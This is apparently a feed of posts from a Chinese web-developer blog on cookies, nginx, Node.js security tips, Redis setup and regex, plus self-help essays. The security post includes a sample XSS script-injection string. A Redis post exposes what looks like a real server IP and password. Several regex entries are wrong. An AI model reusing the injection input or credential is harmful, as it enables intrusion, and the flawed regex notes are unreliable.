cookie和session /2018/04/26/cookie%E5%92%8Csession.html

介绍

cookie 是 HTTP 协议的一部分，处理分为以下几步：

服务器向客户端发送 cookie，一般为 name=value 形式。
浏览器将 cookie 储存。
每次请求浏览器都会将 cookie 发给服务器。

res.cookie('isVisit', 1, {  // 储存的时间  maxAge: 10 * 1000,  // 为 true 时只在https中生效  secure: true,  // 影响路径  path: 'localhost',  // 是否支持 js 读取，可以预防 XSS  httpOnly: true})

isVisit 是 key 值，1 是 value。

数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。

session

针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。

session 属性

app.use(sessionParser({  name: 'author',  // 储存位置: 默认 cookie  // store: new redisStore(),  // 编码字符串  secret: 'recommand 128 bytes random string',  cookie: {    maxAge: 60 * 1000  },  //每次请求都重设一个cookie  rolling: false,  resave: true,  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid  saveUninitialized: false}))

signedCookie

就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？

比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：

> { dotcom_user: 'jzxer' }

这样如果验证和更改，安全性都不是很高。

我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)

sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’

然后把 cookie 变成这样：

{  dotcom_user: 'jzxer',  dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'}

这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。

]]> 本地储存 cookie session 线上部署：heroku /2018/04/26/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html

介绍

heroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。

1. 注册一个账号

heroku

注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。

2. 配置文件：Procfile

给 heroku 指明入口文件，配置内容如下：

web: node app.js

3. 下载工具包

下载链接

4. 登录账户

heroku login

5. 创建远程仓库

heroku create

此时会给出一个仓库地址，留给下文用。

6. 推送到远端

git push '给的仓库地址.git' master

7. 测试项目

输入以下命令打开推送的内容

heroku open

8. 插件

heroku 有很多插件可供链接，

]]> nodeJS heroku 自动化 nginx配置和问题处理 /2018/04/26/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html

nginx 介绍

Nginx (“engine x”) 是一个高性能的 HTTP 和反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。

尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。

查看 nginx 进程

ps aux|grep nginx

nginx.conf 配置

server {                listen       3001;                server_name  localhost;                #charset koi8-r;                #access_log  logs/host.access.log  main;                location / {                        root   html;                        index  index.html index.htm;                }        }

大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。

nginx 问题总结

ubuntu 下卸载不干净

sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。sudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。sudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。sudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。sudo service nginx restart  #重启nginx

]]> 代理 nginx nodeJS性能处理（一） /2018/04/25/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html

介绍

目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。

1. 不要用 Eval

eval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。

2. 使用 strict 模式

严格模式下的变量声明会抛出一些隐藏的错误。

'use strict'var obj = {  a: '1',  a: '2'}// 抛出错误 syntax error

3. 使用 Eslint 测试代码规范

可以使我们早期捕获一些 bug，并及时修正。

4. 全面测试

测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。

5. Unix 下不要直接使用 sudo node app.js

这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。

6. 避免 shell command 注入

child_process.exec('ls', function (err, data) {    console.log(data);});

上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。

为了避免这个问题，我们可以使用：child_process.execFile。

7. 临时文件

创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。

使用 Streams。

8. 加密 Web 应用

用 https 代替 http，请求的过程可以添加签名头。

9. Reflected Cross Site Scripting

也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：

//用户输入的数据中带脚本，如果不做处理，会被执行。Im human <script>alert('I‘m hacker')<script>

处理方式：1. 对插入的数据进行验证，除去 HTML。

默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。

11. 内容安全策略（CSP）

附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：

Content-Security-Policy: default-src 'self' *.mydomain.com

12. Cross-Site Request Forgery

跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。

]]> nodeJS 性能安全 node连接阿里云redis /2018/04/24/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html

node 连接云 redis

1. 要求

若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。
若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。
若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。

2. 在云服务器 ECS Linux 中安装 rinetd

redis-cli -h 101.132.156.228 -a r-uf60a44b13666134:’123456Jzx’

wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz&&cd rinetdsed -i 's/65536/65535/g' rinetd.c (修改端口范围)mkdir /usr/man&&make&&make install

注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。

3. 打开配置文件 rinetd.conf

vi /etc/rinetd.conf

4. 在配置文件中输入如下内容

0.0.0.0 6379 Redis 的链接地址 6379logfile /var/log/rinetd.log

说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。

5. 执行如下命令启动 rinetd

rinetd

注意
○ 您可以通过 echo rinetd >>/etc/rc.local 将 rinetd 设置为自启动。
○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。
○ rinetd 正常启动后，执行netstat -anp | grep 6379 确认服务是否正常运行。

6. 在本地进行验证测试

您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。进行数据写入及查询验证。

7. 客户端连接 Redis

const redis = require('redis'),      RDS_PORT = 6379,      RDS_PWD = '密码',      RDS_HOST = '服务器ip',      RDS_OPTS = {},      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)client.auth(RDS_PWD, function () {  console.log('通过认证')  client.set('author', 'jzx', redis.print)  client.get('author', redis.print)})

8. 小结

注意 ECS 若本地 redis-server 打开则先关闭，否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下面给出所示。

/etc/init.d/redis-server stop/etc/init.d/redis-server start/etc/init.d/redis-server restart

将 ECS 安全组设置里 redis 端口开放，如：6379。

]]> 数据库 redis 阿里云学生思维 /2018/04/10/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html

学生思维

1. 认为准备好了再做

持续认为自己还没准备好，遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大，而不是自己强大了再做某事。

永远让事情推自己走，而不是让自己跟着事情走。

2. 被动接受，而不是主动获取

习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会羞涩于请教，不会因为担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。

不要小看主动的力量。

3. 不愿意面对不可预期的逆境

很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担重任，职场发展就会受限。

4. 小孩子脾气

不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。

恃才傲物还可以接受，没能力还以自我为中心只会被人嫌弃。

5. 过于放大自己的价值

自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。

不吭不卑才是合适的作风。

6. 懒于改变

很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有勇气去落地执行，只是在等待,这样的人则完全没有任何魄力。

只是等待，没有任何结果。

7. 给自己画一条线

我是学…的，我是做…的，所以我不能…。往往希望自己能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。

没有那么多鸿沟拦着你，是你自己拦着自己。

8. 没有意识到要和优秀的人在一起

读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。

见贤思齐焉。

9. 不知道衡量 10 年总收入

刚入职场，很多学生会比 offer、收入…等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到经营自己这个产品上来。

投资自己，让自己不断增值，才是正事。

10. 小红花意识

人都希望被表扬。有的时候就要忍受阶段性的在角落，可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想收到认同。其实，这往往需要时间、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。

自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。

11. 连他都可以

在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，不要在比较重蹉跎。

按照自己的节奏，一步一步让自己变得更好。

12. 不会保护自己

这个世界存在坏人，因为利益、嫉妒、扭曲的心理…学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要做好医闹的准备。在公司工作，该有的流程，留下邮件的，都得有。

13. 伸手党意识

在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。

14. 理性投资消费

常常有人说我穷、没钱。大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。

15. 做为新人不够谦虚

说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。

16. 认识人多就是资源

所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。

要让这个状态成为自然的结果，而不是刻意为之。

17. 缺乏职场必要的沟通

通过书面的、语言的沟通，把自己的观点表达的有条理并且富有逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。

18. 锚定在周围人身上

在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上爬。

19. 缺乏自己判断，容易被他人影响

跳出他人的观点，敢于对各种观点质疑。取其精华，抛弃糟蹋。

20. 没有能力边界的概念

有时候总是说，凡是努力就会成功，如果没有成功，就是努力的还不够。但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。

聚焦自己能力之内的，不要意想天开，认为自己无所不能。

]]> 生活学生思维 Travis CI 实现自动化部署 /2018/04/09/Travis-CI-%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2.html ]]> 正则表达式 /2018/04/04/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html

正则的介绍

正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为”元字符”）。
正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。
正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。

修饰符

i

执行对大小写不敏感的匹配。

g

执行全局匹配（所有，而不是找到一个后停止匹配）。

m

执行多行匹配。

方括号

[abc]

查找方括号之间的任何字符。

[^abc]

查找任何不在方括号内的字符。

[0-9]

查找任何从 0 至 9 的数字。

[a-z]

查找任何从小写 a 到 z 的字符。

[A-Z]

查找任何从大写 A 到 Z 的字符。

[A-z]

查找任何从大写 A 到小写 z 的字符。

[adgk]

查找括号中给定的字符集。

[^adgk]

查找除括号内之外的所有字符。

[red|blue|green]

查找任何指定的选项。

元字符

‘.’

查找单个字符，除了换行符和结束符。

\w

查找单词字符。

\W

查找非单词字符。

\d

查找数字。

\D

查找非数字。

\s

查找空白字符。

\S

查找非空白字符。

\b

匹配单词边界。

\B

匹配非单词边界。

\0

查找null字符。

\n

查找换行符。

\f

查找换页符。

\r

查找回车符。

\t

查找制表符。

\v

查找垂直制表符。

\xxx

查找以八进制 xxx 规定的字符。

\xdd

查找以十六进制 dd 规定的字符。

\uxxxx

查找以十六进制 xxxx 规定的 Uicode 字符。

量词

n+

匹配任何包含至少一个 n 的字符串。

eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。

n*

匹配任何包含零个或多个 n 的字符串。

eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。

n？

匹配任何包含零个或一个 n 的字符串。

eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。

n(X)

匹配包含 X个 n 的序列的字符串。

eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。

n{X,}

X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。

/a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。

n{X, Y}

n 出现至少 X 次，至多 Y 次。

/a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。

n$

匹配任何以 n 结尾的字符串。

^n

匹配任何以 n 开头的字符串。

?=n

匹配任何其后紧接指定 n 的字符串。

?!n

匹配任何其后没有指定 n 的字符串。

RegExp 对象方法

compile

编译正则表达式。

exec

检索字符串中指定的值。返回找到的值，并确定其位置。

test

检索字符串中指定的值，返回 true or false。

String 对象的正则方法

search

检索与正则表达式相匹配的值。

eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。

match

找到一个或者多个正则表达式的匹配。

eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。

replace

替换与正则表达式匹配的字串。

eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。

split

把字符串分割为字符串数组。

string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。

]]> JS 正则表达式如何规划自己的工作和生活 /2018/03/19/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html

人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活的边界变得越来越模糊…

花时间做规划

给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。

明确目标：包括工作目标，生活目标。
给事情做优先级：按重要程度划分。
细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。

越忙越乱，越乱越忙

形成日常惯例，减少意志力的损耗

给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。

越来越多的人认为，只有不断工作才能证明自己有能力、有责任心

有效地休闲

休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。

休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。

长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。

]]> 生活哲理 js常见的九种设计模式 /2018/03/09/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html

介绍

设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。

九种

单体模式

概念

单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。

特点

可以用来划分命名空间，从而清除全局变量所带来的危险。
利用分支技术来封装浏览器之间的差异。
可以把代码组织的更为一体。

代码实现

var Singleton = {  attribute: true,  method1: function () {},  method2: function () {}}

应用场景

单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。

单例模式

概念

单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。

代码实现

var single = (function () {  var unique  function getInstance () {    // 如果该实例存在，则直接返回，否则就对其实例化    if (unique === undefined) {      unique = new Construct()    }    return unique  }  function Construct () {    //生成单例的构造函数的代码  }  return {    getInstance  }})()

上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。
可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是单例模式所实现的效果。

应用场景

单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。

可以用它来划分命名空间。
借助单例模式，可以把代码组织的更为一致，方便阅读和维护。

工厂模式

概念

提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。

代码实现

简单工厂模式

var XHRFactory = function () {}XHRFactory.createXMLHttp = function () {  var XMLHttp = null  if (window.XMLHttpRequest) {    XMLHttp = new XMLHttpRequest()  } else if (window.ActiveObject) {    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')  }  return XMLHttp}var Ajax = function () {  var XMLHttp = XHRFactory.createXMLHttp()}

复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。

var XHRF = function () {}XHRF.prototype = {  createFactory: function () {    throw new Error('this is an abstract class')  }}var XHRH = function () {}// 子类继承父类extend(XHRH, XHRF)// 把父类原型传递给子类，实现继承XHRH.prototype = new XHRF()// 重置子类原型的构造器为子类自身XHRH.prototype.constructor = XHRH// 重新定义createFactory 方法XHRH.prototype.createFactory = function () {  var XMLHttp = null  if (window.XMLHrrpRequest) {    XMLHttp = new XMLHttpRequest()  } else if (window.ActiveXObject) {    XMLHttp = new ActiveXObject('Microsoft.XMLHTTP')  }  return XMLHttp}

应用场景

对象的构建十分复杂
需要依赖具体环境创建不同实例
处理大量具有相同属性的小对象

优点

弱化对象间的耦合，防止代码重复。
重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。

缺点

当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。

]]> web前端 js methods redis环境搭建 /2018/03/07/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html

redis 环境搭建

下载

官方网站

安装

解压tar zxvf redis-4.0.8.tar.gz移动文件夹mv redis-4.0.8 /usr/local/打开该文件夹cd /usr/local/redis-4.0.8/编译测试sudo make test编译安装sudo make install

启动

redis-server

配置

新建目录sudo mkdir  redis-4.0.8/binsudo mkdir  redis-4.0.8/etcsudo mkdir  redis-4.0.8/db拷贝文件cp src/mkreleasehdr.sh bincp src/redis-benchmark bincp src/redis-check-rdb bincp src/redis-cli bincp src/redis-server bin

修改redis.conf

#修改为守护模式daemonize yes#设置进程锁文件pidfile /usr/local/redis-3.2.8/redis.pid#端口port 6379#客户端超时时间timeout 300#日志级别loglevel debug#日志文件位置logfile /usr/local/redis-3.2.8/log-redis.log#设置数据库的数量，默认数据库为0，可以使用SELECT <dbid>命令在连接上指定数据库iddatabases 16##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合#save <seconds> <changes>#Redis默认配置文件中提供了三个条件：save 900 1save 300 10save 60 10000#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，#可以关闭该#选项，但会导致数据库文件变的巨大rdbcompression yes#指定本地数据库文件名dbfilename dump.rdb#指定本地数据库路径dir /usr/local/redis-3.2.8/db/#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有#的数据会在一段时间内只存在于内存中appendonly no#指定更新日志条件，共有3个可选值：#no：表示等操作系统进行数据缓存同步到磁盘（快）#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）#everysec：表示每秒同步一次（折衷，默认值）appendfsync everysec

启动服务

启动./bin/redis-server etc/redis.conf查看日志tail -f log-redis.logOK./bin/redis-cli

基本命令

查看所有数据keys *插入键值对set a b查看数据get a

]]> 数据库 redis 你的一生，究竟为什么而活 /2018/02/11/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html

启示录

此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生

幸福是什么

幸福对我来说，就是能做自己喜欢的事，追求自己的梦想，而我的理想，就是能够为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，人活着的意义是什么，不就是为了追寻自己的理想吗？

我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不愿意全力以赴。最后就像片中的老鼠一样。最后还是回到了起点。

我的幸福

能追求自己的音乐理想，写自己的歌；
花切，去做一些酷一些的事；
尝试新的东西，锻炼自己的胆识；
能苦中作乐，对生活充满激情与乐观；
三十岁之前有房子，车子，建立自己的公司；
三十五岁之前拥有自己的爱人，孩子；
四十岁之前自己的公司成型，并且能为他人投资；
四十五岁之前能让家族复兴；
六十岁之前退休，去享受生活，享受音乐；
不甘平庸才是我们每个人应该的追求；

小结

有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！

]]> 生活幸福 JS常见的十大错误 /2018/02/07/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html

1. Uncaught TypeError: Cannot read property

发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。

2. TypeError: ‘undefined’ is not an object

这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。

3. TypeError: null is not an object

这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。

在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。要验证它们不相等，请尝试使用严格的相等运算符 ===

4. (unknown): Script error

当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。

5. TypeError: Object doesn’t support property

这是您在调用未定义的方法时发生在 IE 中的错误。您可以在 IE 开发者控制台中进行测试。

6. TypeError: ‘undefined’ is not a function

当您调用未定义的函数时，这是 Chrome 中产生的错误。

7. Uncaught RangeError: Maximum call stack

这是 Chrome 在一些情况下会发生的错误。一个是当你调用一个不终止的递归函数。

8. TypeError: Cannot read property ‘length’

这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。

9. Uncaught TypeError: Cannot set property

当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。

10. ReferenceError: event is not defined

当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。

]]> web前端 js error 深入浅出 Ajax /2018/01/31/%E6%B7%B1%E5%85%A5%E6%B5%85%E5%87%BA-Ajax.html ]]> 如何理解yield和*函数 /2018/01/30/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html

Koa1

什么是 Generator

function *test() {}test()    //  -> [Object Generator]

generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。
`
function *learn() {
yield 1
yield 2
return 3
}
let learnGen = learn()

learnGen.next() // -> {“done”: false, “value”: 1}

> 再次调用会运行到下一个 yield 处

learnGen.next() // -> {“done”: false, “value”: 2}
learnGen.next() // -> {“done”: true, “value”: 3}
`

小结

可以通过 yield 和 * 的结合实现类似 await async 的效果的效果

]]> JS generator yield 我所追求的狼性 /2018/01/28/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html

狼道

虽然在普通人看来，狼是一个贬义的存在，’狼子野心’,’狼狈为奸’。

但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，几十头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。

狼子野心

狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，即使猎物比自己体型大数倍，也敢于猎杀！

天生的野心家

‘大丈夫在世，理应如此’，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！

寄语：没有完成不了的目标，就看你有没有野心去做！

紧盯自己的目标

‘当一个人知道自己的目标去处时，全世界都回为他让路’，出自爱默生。

没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)

寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐，获得 - 这就是大自然强者生存的要素

人应该有理想，而不是’妄想’

野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。

妄想症的核心判断是总是包含着 ”我“，例如：”我伟大”,”人们在迫害我”，”我有罪”…….野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)

寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。

弹性的性格

大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。

]]> 阅读狼性前端安全 /2018/01/25/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html

safetools 的使用方式

demo

引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）
将需要提交的数据经过 filter 即可，如下：

